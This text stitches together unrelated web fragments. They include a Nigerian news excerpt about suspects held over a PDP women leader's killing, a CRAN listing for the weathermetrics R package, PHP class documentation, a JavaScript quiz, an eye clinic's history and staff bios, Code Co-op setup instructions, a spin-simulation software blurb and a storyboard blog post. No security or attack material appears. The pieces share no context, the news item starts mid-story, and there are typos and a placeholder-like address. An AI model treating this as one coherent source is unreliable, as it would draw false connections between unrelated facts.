Aya, a Deputy Superintendent of Police, said that the suspects were brought in on Friday.
Abuh, a former councillor and PDP Woman leader was set ablaze on November 18 in her husband’s house at Ochadamu, by suspected hoodlums.
Read Also; 10 for governor in Ondo PDP
Aya said the police have begun with the interrogation of the suspects to ascertain their level of culpability in the death of the PDP Women Leader and for the Wada/Aro governorship campaign.
He said that the outcome of the investigation will be made public as soon as it is completed.
President Muhammadu Buhari had on Sunday directed the police to fish out the killers with a view to bringing them to justice.


Functions to convert between weather metrics, including conversions for metrics of temperature, air moisture, wind speed, and precipitation. This package also includes functions to calculate the heat index from air temperature and air moisture.
| Version: | 1.2.2 |
| Depends: | R (≥ 2.10) |
| Suggests: | knitr, rmarkdown |
| Published: | 2016-05-19 |
| Author: | Brooke Anderson [aut, cre], Roger Peng [aut], Joshua Ferreri [aut] |
| Maintainer: | Brooke Anderson <brooke.anderson at colostate.edu> |
| BugReports: | https://github.com/geanders/weathermetrics/issues |
| License: | GPL-2 |
| URL: | https://github.com/geanders/weathermetrics/ |
| NeedsCompilation: | no |
| Citation: | weathermetrics citation info |
| Materials: | NEWS |
| CRAN checks: | weathermetrics results |
| Reference manual: | weathermetrics.pdf |
| Vignettes: |
weathermetrics |
| Package source: | weathermetrics_1.2.2.tar.gz |
| Windows binaries: | r-devel: weathermetrics_1.2.2.zip, r-release: weathermetrics_1.2.2.zip, r-oldrel: weathermetrics_1.2.2.zip |
| OS X binaries: | r-release: weathermetrics_1.2.2.tgz, r-oldrel: weathermetrics_1.2.2.tgz |
| Old sources: | weathermetrics archive |
| Reverse imports: | stormwindmodel |
| Reverse suggests: | futureheatwaves, hurricaneexposure |
Please use the canonical form https://CRAN.R-project.org/package=weathermetrics to link to this page.


Portfolio class take care of the club's transaction.
It communicates with the treasury to register buy and sell actions. The portfolio calculate transaction, transaction statistics and curency exchanges. It also commumicate with the stock manager to register new stocks and get lasts updates.
Located in /application/modules/default/models/Portfolio/Portfolio.php (line 422)
Add a buy event to the portfolio
Get the club's portfolio, calcul statistics, convert currency, and get last stock prices.
It also manage caching to provide a good speed boost at display.
Get the portfolio actives stocks.
This method is called to display the portfolio active state
Get the portfolio actives stocks.
This method is called to get all stocks history
initialize portfolio data.
portfolio's stocks cache is done in this method
Add a sell event to the portfolio
Documentation generated on Tue, 21 Feb 2012 06:45:24 +0800 by phpDocumentor 1.4.1


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Test your mettle!
What is HTML in full?
Hyper Text Markup Language
Hyper Text Madeup Language
Hyper Language Markup
Which built-in method calls a function for each element in the array?
forEach();
show();
hide();
Which type of variable among global and local, takes precedence over other if names are same?
A global variable takes precedence over a local variable with the same name.
A local variable takes precedence over a global variable with the same name.
None takes precedence over the other.
What is the difference between “==” and “===” ?
” ==” only compares values “===” compares both values and type
” ===” only compares values “==” compares both values and type
They are the same
Which built-in method sorts the elements of an array?
hide();
charAt();
sort();
Which built-in method reverses the order of the elements of an array?
show();
reverse();
sort();
How to add one new element at end of an array in javascript?
push();
sort();
append();
Submit answers


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A Brief History of The Eye Isntitute
Founded by Dr Ronald Mhizha in 1998, The Eye Institute has been modeled along his aspiration and dedication to promoting affordable and comprehensive eye care to all Zimbabweans. The organization, which has now grown from a sole proprietorship to a registered company wholly owned by Latitude South Holdings Private Limited, prides itself as a fully integrated ophthalmic service provider. The Eye Institute has 10 established branches combining both ophthalmological and optometry service that are spread across most Zimbabwean major urban areas. To attain mass inclusivity positioning in the Zimbabwean ophthalmic market, our first two eye specialist branches were opened in 1998 at Machipisa shopping centre & Kopje Plaza in the Harare CBD. The Kopje Plaza relocated is 2001 to the company’s current main Milton park branch and head office. The Eyepod optometry shops were launched in 2011 and established branches at Joina City Mall, Milton Park and Mutare Eyepod was opened in 2012. The Eye Attic at Arundel Village in Harare and Midlands Eye Clinic in Gweru were acquired in 2013 and 2014 respectively.
In 2018, marking The Eye Institute’s 20th anniversary, Bulawayo and Victoria Falls Eyepods were launched together with a satellite branch in Hwange mining town.
To provide affordable world-class ophthalmic services to all Zimbabweans and beyond.
To provide a unique professional vibrant warm & caring eye health service exhibiting excellence in everything we do, treating our patients and business partners with respect, efficiency & most importantly empathy ensuring that their experiences with us always exceeds their expectations.
MBChB DO FCS (Ophth) (SA)
Executive Physician and Group CEO. He is the founding Director responsible for the overall patient clinical care. He has contributed extensively to the Zimbabwean, Botswana and South African health sectors in various capacities.
He holds a Bachelor of Medicine and Surgery MBChB as well as a Diploma in Ophthalmology from the University of Zimbabwe. He completed his master’s in medicine ophthalmology in South Africa and is a holder of a certificate in Practise Management for Ophthalmologists. He was admitted to the fellowship of college of South African Surgeons in 1997. He is a member of the European Society of Cataract and Refractive Surgeons and has also participated in various clinical research programs in London (UK), Nice (France) and Schruns (Austria).
Senior Optometrist
MSc Clinical Optometry (Cardiff University; Wales) BSc Optometry (Dublin Institute of technology; Ireland) BSc Biomedical science (Griffith University; Australia) *Currently working towards her Doctor of Philosophy (Optometry) with the University of KwaZulu Natal (South Africa)
•2010-current: Optometrist practitioner in private practice between Ireland and Zimbabwe •2016-current: Optometry program coordinator and Lecturer at the University of Zimbabwe
Keratoconus, low vision and academia
MBChB (Ophth) (UZ) MMED (Ophthalmology)
Dr Pamidzai Madzima is a specialist consultant ophthalmologist (Eye Surgeon) with diverse experience in up to date ophthalmic practice in subspecialties which include cataract surgery, glaucoma, diabetes, corneal disease, retinal pathology, refraction and orthoptics. She has contributed a great deal to the national paediatric ophthalmology management strategies which include screening for Retinoblastoma and Retinopathy of prematurity. She has also been trained in Low Vision Assessment, Paediatric Visual Acuity Screening, Oculoplastics, Paediatric Strabismus Surgery, Adult and Paediatric Ophthalmology Emergencies, Phacoemulsification and Small incision cataract surgery. She is intimately involved in research and is author of several publications, one of which won her the first prize award from the Medical Research Council of Zimbabwe. She is professional, compassionate and always ensures optimum patient care.
(Masters in Ophthalmology)(Undergraduate, Bachelor of Medicine and Surgery degrees) (UZCHS)
A conscientious, honest and hard working doctor committed to excellence through continuous education
Ophthalmologist Eye pod Bulawayo and Richard Morris eye Hospital 2019 to present Junior registrar in Ophthalmology, Sekuru Kaguvi Eye unit, Harare 2015 to 2018 Medical officer, CIMAS Healthcare services Harare East clinic, 2015 to 2018 Government medical officer, Karoi District Hospital, 2013 to 2014 Senior resident medical Officer, Harare Central Hospital, 2012 Junior resident medical Officer, Chitungwiza Central Hospital, 2011
MBChB ,MMed Ophth (UZ)
A conscientious, honest and hard working doctor committed to excellence through continuous education
2007 – Current: Government Ophthalmologist running a) General ophthalmology clinic and b) Glaucoma Clinic (2017-current) 2016 – Current: Part time lecturer in the department of ophthalmology (UZ)
Affordable, accessible, world class diagnosis and management of glaucoma with an overall aim to prevent avoidable blindness from glaucoma.


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Feel free to call us on 0<PHONE_NUMBER> Monday - Friday, 8am - 7pm
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Come visit us at Stock Building, New York, NY 93459


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After you ask the administrator of the project to invite you to it, you will receive from him or her an invitation script.
If your Code Co-op is configured to use Outlook (Express) for communicating with others, you will see the invitation in the Outlook's Inbox. The subject line will start with "Code Co-op Sync". Do not open it — Code Co-op only looks at unread messages. Within a few minutes the message should disappear from your inbox. That means Code Co-op got hold of it.
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Click on the balloon and enter the path where you want project files to appear.
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Note: Since Invitations include all the files and information needed to recreate the project on your machine, you will probably receive multiple emails, each with a chunk of the invitation. The dispatcher will retrieve them as they arrive and reassemble the Invitation.
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Spin Simulation Framework
Spirit version x
Spirit is platform-independent, open-source code with optional visualization, written in C++14.
The source code is available on GitHub under the terms of the MIT license.
While this web-based demo version is limited to Spin Dynamics simulations, the Spirit code has been developed as a flexible solution to various use-cases, including:
- Spin Dynamics simulations obeying the Landau-Lifschitz-Gilbert equation
- Direct Energy minimisation of a spin system
- Minimum Energy Path calculations for transitions between different spin configurations, using the GNEB method
The visualisation is performed by VFRendering.
More details may be found on GitHub or in the documentation.
Main author of the Spirit code is Gideon Müller (Quantum Theory of Materials department of the Peter Grünberg Institute ).
The Web Interface is being developed by Florian Rhiem (Scientific IT-Systems, PGI/JCNS Technical Services and Administration).
For a full list of contributors and affiliations, see here.


---
layout: post
title: MTV Asia storyboards
date: '2013-09-17T17:31:00+02:00'
categories:
- Storyboards
picture_url: https://film-Storyboards.tumblr.com/post/61533933149/mtv-asia-Storyboards
---
Storyboard from the year 2000, handmade in Vietnam. Producers: Selina Dey & Sam Coates Directed by Sam Coates Copywriter: Paul V. Ewen Featuring the excellent Othello Khanh in the role of a confused Saigonese noodles eater. Client: MTV Asia Singapore